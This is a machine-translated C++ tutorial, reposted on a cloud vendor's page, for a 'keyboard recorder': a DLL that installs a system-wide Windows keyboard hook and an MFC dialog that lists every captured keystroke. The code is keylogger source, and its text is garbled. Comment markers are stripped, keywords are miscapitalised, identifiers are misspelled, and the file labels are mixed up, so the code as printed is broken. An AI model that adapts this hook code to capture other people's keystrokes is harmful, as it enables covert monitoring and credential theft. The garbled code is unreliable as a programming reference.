C + + keyboard Recorder code _c language

Source: Internet
Author: User

This example describes the C + + keyboard Recorder program. Share to everyone for your reference. The specific analysis is as follows:

The main program is as follows:

is based on the dialog frame, plus all the Onhookkey functions,

Copy Code code as follows:
Long Cmaindialog::onhookkey (WPARAM WPARAM, LPARAM LPARAM)/handling Custom messages
{
Char szkey[80]={0};
Getkeynametext (LParam, Szkey, 80);
CString stritem;
Stritem.format ("Key:%s\r\n", Szkey);
CString Stredit;
GetDlgItem (idc_keymsg)->getwindowtext (Stredit);
GetDlgItem (idc_keymsg)->setwindowtexta (Stredit+stritem);
:: MessageBeep (MB_OK);
return 0;
}

When initialized, the calling in the DLL:
Copy Code code as follows:
Setkeyhook (TRUE, 0, M_hwnd)

At the time of the destructor, the calling in the DLL:
Copy Code code as follows:
Setkeyhook (FALSE);

. cpp Source file code:

Copy Code code as follows:
#include <afxwin.h>
#define Hm_key wm_user+100
CMyApp
Class Cmyapp:public CWINAPP
{
Public
BOOL InitInstance ();
};

CMyDialog
Class Cmaindialog:public CDialog
{
Public
Cmaindialog (cwnd* pParentWnd = NULL);

Protected
Virtual BOOL OnInitDialog ();
afx_msg void OnCancel ();
afx_msg Long Onhookkey (WPARAM WPARAM, LPARAM LPARAM); Handling declarations for custom messages

Declare_message_map ()
};

. h header File code:

Copy Code code as follows:
#include "resource.h"
#include "KeyHookApp.h"
#include "KeyHook.h"
#pragma comment (lib, "KeyHook.lib")

CMyApp Theapp;

BOOL cmyapp::initinstance ()
{
Cmaindialog Dlg;
m_pMainWnd = &dlg; To m_pMainWnd main window
Dlg. DoModal ();
return FALSE; Do not enter the message loop
}

Begin_message_map (Cmaindialog, CDialog)
On_message (Hm_key, Onhookkey)//Custom messages
End_message_map ()

Cmaindialog
Cmaindialog::cmaindialog (cwnd* pParentWnd): CDialog (Idd_main, pParentWnd)
{

}
BOOL Cmaindialog::oninitdialog ()
{
CDialog::OnInitDialog ();
if (! Setkeyhook (TRUE, 0, M_hwnd)
{
MessageBox ("Installation hook failed");
}

return TRUE;
}
Processing shutdown messages
void Cmaindialog::oncancel ()
{
OutputDebugString ("OnCancel");
Setkeyhook (FALSE);
Cdialog::oncancel ();
Return
}
Long Cmaindialog::onhookkey (WPARAM WPARAM, LPARAM LPARAM)/handling Custom messages
{
Char szkey[80]={0};
Getkeynametext (LParam, Szkey, 80);
CString stritem;
Stritem.format ("Key:%s\r\n", Szkey);
CString Stredit;
GetDlgItem (idc_keymsg)->getwindowtext (Stredit);
GetDlgItem (idc_keymsg)->setwindowtexta (Stredit+stritem);
:: MessageBeep (MB_OK);
return 0;
}

DLL's code:
. cpp Source file code:

Copy Code code as follows:
KeyHook.cpp: Defines the exported function of a DLL application.
//

#include "stdafx.h"
#include "KeyHook.h"


Shared data Segments
#pragma data_seg ("ycishared")
HWND G_hwndcaller=null; Save main Window Handle
Hhook G_hhook = NULL; Save Hook handle
#pragma data_seg ()
This is an example of an export variable
Keyhook_api int nkeyhook=0;

This is an example of an exported function.
Keyhook_api int Fnkeyhook (void)
{
Return 42;
}


Help function to get module handle through memory
hmodule WINAPI Modulefromaddress (LPVOID PV)
{
Memory_basic_information MBI;
if (0!=:: VirtualQuery (PV, &mbi, sizeof (memory_basic_information)))
{
Return (hmodule) mbi. Allocationbase;
}
Else
{
return NULL;
}
}
Hook handler function
Lresult CALLBACK Keyboardproc (
__in int Code,
__in WPARAM WPARAM,
__in LPARAM LPARAM
)
{
if (code<0| | CODE==HC_NOREM)
{
Return:: CallNextHookEx (G_hhook, Code, Wparam,lparam);
}
If you repeat the message, give it to the next chain
if (LParam & 0x40000000)
{
Return:: CallNextHookEx (G_hhook, Code, Wparam,lparam);
}
Notify main window
::P Ostmessagea (G_hwndcaller, Hm_key, WParam, LParam);
Return:: CallNextHookEx (G_hhook, Code, Wparam,lparam);

}
Installing and uninstalling Hook functions
BOOL KEYHOOK_API WINAPI Setkeyhook (bool binstall, DWORD dwThreadID, HWND Hwndcaller)
{
BOOL bRet = TRUE;
G_hwndcaller = Hwndcaller;
if (binstall)//install Hook
{
G_hhook =::setwindowshookex (Wh_keyboard, Keyboardproc, Modulefromaddress (Keyboardproc), dwThreadId);
BRet = (G_hhook!= NULL);
}
else//Uninstall hook
{
:: UnhookWindowsHookEx (G_hhook);
G_hhook = NULL;
}
return bRet;
}
This is the constructor of the exported class.
For information about class definitions, see KeyHook.h
Ckeyhook::ckeyhook ()
{
Return
}

. h header File code:

Copy Code code as follows:
The following ifdef blocks are created to make it simpler to export from a DLL
The standard method for macros. All files in this DLL are keyhook_exports defined on the command line
Symbol compiled. That is used in this DLL.
This symbol should not be defined on any other item. In this way, any other project in the source file that contains this file will
The KEYHOOK_API function is considered imported from a DLL, and this DLL is defined with this macro
Symbols are considered to be exported.
#ifdef Keyhook_exports
#define KEYHOOK_API __declspec (dllexport)
#else
#define KEYHOOK_API __declspec (dllimport)
#endif

#define Hm_key Wm_user + 100
This class is derived from the KeyHook.dll
Class Keyhook_api Ckeyhook {
Public
Ckeyhook (void);
TODO: Add your method here.
};

extern Keyhook_api int nkeyhook;

Keyhook_api int fnkeyhook (void);

Declaration to export the
BOOL KEYHOOK_API WINAPI Setkeyhook (bool binstall, DWORD dwthreadid=0, HWND hwndcaller=null);

. def code:

Copy Code code as follows:
Exports
Setkeyhook
SECTIONS
ycishared Read Write Shared

I hope this article will help you with the C + + program design.

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.